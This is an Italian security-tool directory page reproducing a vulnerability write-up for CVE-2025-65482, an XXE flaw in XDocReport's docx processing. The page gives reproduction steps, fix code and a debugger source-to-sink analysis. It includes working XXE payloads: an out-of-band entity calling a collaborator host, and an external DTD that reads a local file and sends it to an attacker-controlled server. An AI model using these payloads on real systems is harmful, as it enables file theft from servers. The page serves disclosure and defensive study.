Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-65482-XXE- — CVE-2025-65482 (XXE) | Kitploit
Strumenti/GitHubGitHub/at190510-cuong/cve-2025-65482-xxe-
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebEsfiltrazione DatiPaper e RicercaApprendimento e Formazione
GitHubat190510-cuong/cve-2025-65482-xxe-

CVE-2025-65482-XXE-

CVE-2025-65482 (XXE)

Vedi Repository
129 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-65482 (XXE)

Iniezione di Entità Esterna XML (XXE) in XDocReport

Definizione del Bug

Iniezione di Entità Esterna XML

Panoramica della vulnerabilità

  • L'iniezione di Entità Esterna XML (XXE) è una vulnerabilità nell'elaborazione di dati in formato XML, in cui l'utente inserisce dati XML che fanno riferimento a un file o sistema esterno. Un attaccante può utilizzare questa vulnerabilità XXE per scansionare altri sistemi alla ricerca di porte di servizio aperte, richiedere file segreti e accedere a funzionalità di sistemi connessi altrimenti non disponibili. Da qui, l'attaccante può estrarre dati, interagire con i sistemi e causare interruzioni del servizio tramite l'inserimento di XML.

Impatto aziendale

  • XXE può portare a danni reputazionali per l'azienda a causa della perdita di fiducia e credibilità da parte degli utenti. Può anche portare a furto di dati e perdite finanziarie indirette per l'azienda attraverso i costi di notifica, correzione e violazione dei dati PII.

Gravità ALTA

image

Descrizione e Impatto

Il sito web di gestione del personale consente agli utenti di caricare file .docx sul sistema. Durante l'elaborazione, l'applicazione utilizza la libreria che contiene una vulnerabilità XXE quando passa il file dell'utente attraverso

Scarica lo strumento
fr.opensagres.xdocreport.document.docx
.docx
SAXParser

Componente affetto

fr.opensagres.xdocreport.template.docx — XDocReport (versions =< 2.0.3)

Analisi della causa principale

la causa è l'uso di Apache POI

root@kitploit:~
fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

Cioè Apache POI si trova molto in profondità, nel modulo:

root@kitploit:~
org.apache.poi.xwpf.converter.core

image

L'errore si verifica perché XDocReport (nel modulo fr.opensagres.xdocreport.document.docx) utilizza Apache POI per leggere i file .docx, e POI utilizza il SAXParser predefinito di Java senza disabilitare le funzionalità che consentono l'elaborazione di DTD ed Entità Esterne. → Ciò permette all'attaccante di inserire un DOCTYPE con un'entità che punta all'esterno (SYSTEM "http://...") o a un file interno (file:///...) → generando XXE.

image

root@kitploit:~
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

Procedura di riproduzione

  • Decomprimere un file docx qualsiasi
root@kitploit:~
unzip ../vcspentest.docx

image

  • Modificare il contenuto del file document.xml nel docx
root@kitploit:~
nano word/document.xml

image

modificare con il payload outbound per passare attraverso il collaborator come segue:

root@kitploit:~
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

image

  • ricomprimere in un file poc
root@kitploit:~
 zip -r ../poc.docx *

image

image

  • caricare il file docx modificato per l'elaborazione da parte di xdocreport

image

  • Risultato: si vede una richiesta inviata al collaborator

image

  • Aumentare l'impatto leggendo file nel sistema
  • host della macchina che memorizza il file dtd sul wsl 172.26.208.130. con il contenuto del file vcspentest.dtd come segue:
root@kitploit:~
<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

image

image

modificare il file word/document.xml nel file .docx con il seguente contenuto per caricare il dtd esterno dalla macchina wsl:

root@kitploit:~
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

image

  • comprimere il file in .docx e caricare il file sul server per l'elaborazione

image

image

  • sulla macchina wsl si vede una richiesta inviata con il contenuto del file D:/vcspentest.txt sul server target

image

image

Soluzione

  • https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

image

Nel codice o a livello di configurazione del parser XML, è necessario disabilitare tutte le funzionalità relative a DTD ed entità esterne.

correzione simile a questo codice

root@kitploit:~
    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
        return "SAXParser xxe security code";
    }

Impostazione dell'ambiente di debug

image

nel file Main.java

root@kitploit:~
package org.example;

import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;

import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;

public class Main {

    public static void main(String[] args) {
        try {
            // Đọc file đầu vào chứa biểu thức Velocity
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // File đầu vào
            InputStream input = new FileInputStream(docxTemplate);

//             Load template sử dụng Velocity
//            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);

            // Load template sử dụng FreeMarker
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

            // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
            IContext context = report.createContext();

            // Xuất ra file mới
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);

            System.out.println("✅ Đã tạo file result.docx thành công.");
        } catch (Exception e) {
            System.err.println("❌ Lỗi xử lý file:");
            e.printStackTrace();
        }
    }
}

Libreria da importare

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>vcs1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>18</maven.compiler.source>
        <maven.compiler.target>18</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- Template engine: FreeMarker -->
        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
            <version>2.0.3</version>
        </dependency>
    </dependencies>
</project>

Debug analisi source-sink

  • l'input dal contenuto XML nel .docx viene preprocessato

image

  • poi viene elaborato da SAXParser senza convalida dell'input

image

image

image

image

  • poi entra nella funzione scanDocument() ed esegue la scansione del contenuto XML generando "eventi" (START_DOCUMENT, START_ELEMENT, CHARACTERS, ENTITY_REFERENCE, ecc.)

image

image

image

image

  • Verifica se il nome dell'entità (name = "xxe") è un'entità esterna

  • Se l'entità è dichiarata ed è esterna, il parser chiamerà la logica di risoluzione esterna (ad esempio startExternalEntity(...) / fEntityManager.startEntity(...)) — questo è il sink: qui il parser prenderà systemId/publicId e tenterà di aprire uno stream (possibilmente generando una richiesta HTTP verso l'esterno).

image

image

image

  • Se xxe è un'entità esterna, startEntity(...) porterà alla logica di apertura della risorsa (ad esempio startExternalEntity(...) / apertura di InputStream → possibilità di generare una richiesta HTTP verso l'URL SYSTEM).

image

image

image

  • Questo è il punto in cui il parser inizia a elaborare l'entità "xxe".

image

image

image

image

image

image

root@kitploit:~
  // should we skip external entities?
        boolean external = entity.isExternal();
        Entity.ExternalEntity externalEntity = null;
        String extLitSysId = null, extBaseSysId = null, expandedSystemId = null;
        if (external) {
            externalEntity = (Entity.ExternalEntity)entity;
            extLitSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getLiteralSystemId() : null);
            extBaseSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getBaseSystemId() : null);
            expandedSystemId = expandSystemId(extLitSysId, extBaseSysId, fStrictURI);
            boolean unparsed = entity.isUnparsed();
            boolean parameter = entityName.startsWith("%");
            boolean general = !parameter;
            if (unparsed || (general && !fExternalGeneralEntities) ||
                    (parameter && !fExternalParameterEntities) ||
                    !fSupportDTD || !fSupportExternalEntities) {

                if (fEntityHandler != null) {
                    fResourceIdentifier.clear();
                    final String encoding = null;
                    fResourceIdentifier.setValues(
                            (externalEntity.entityLocation != null ? externalEntity.entityLocation.getPublicId() : null),
                            extLitSysId, extBaseSysId, expandedSystemId);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.startEntity(entityName, fResourceIdentifier, encoding, fEntityAugs);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.endEntity(entityName, fEntityAugs);
                }
                return;
            }
        }

image

la funzione startEntity() verifica se l'entità è esterna (isExternal = true), quindi chiama:

root@kitploit:~
staxInputSource = resolveEntityAsPerStax(externalEntity.entityLocation);

La variabile externalEntity.entityLocation contiene l'URL dannoso dal DOCTYPE (SYSTEM "http://...oastify.com/").

image

resolveEntityAsPerStax, la variabile resourceIdentifier contiene il percorso assoluto: http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/

questa funzione poi converte resourceIdentifier in un oggetto XMLResourceIdentifierImpl e continua ad aprire la connessione effettiva per leggere il contenuto.

image

image

Documentazione

  • https://drive.google.com/drive/folders/1hUyCznpBN7ivo5krmyJ4OQc_q626Hy5q?usp=drive_link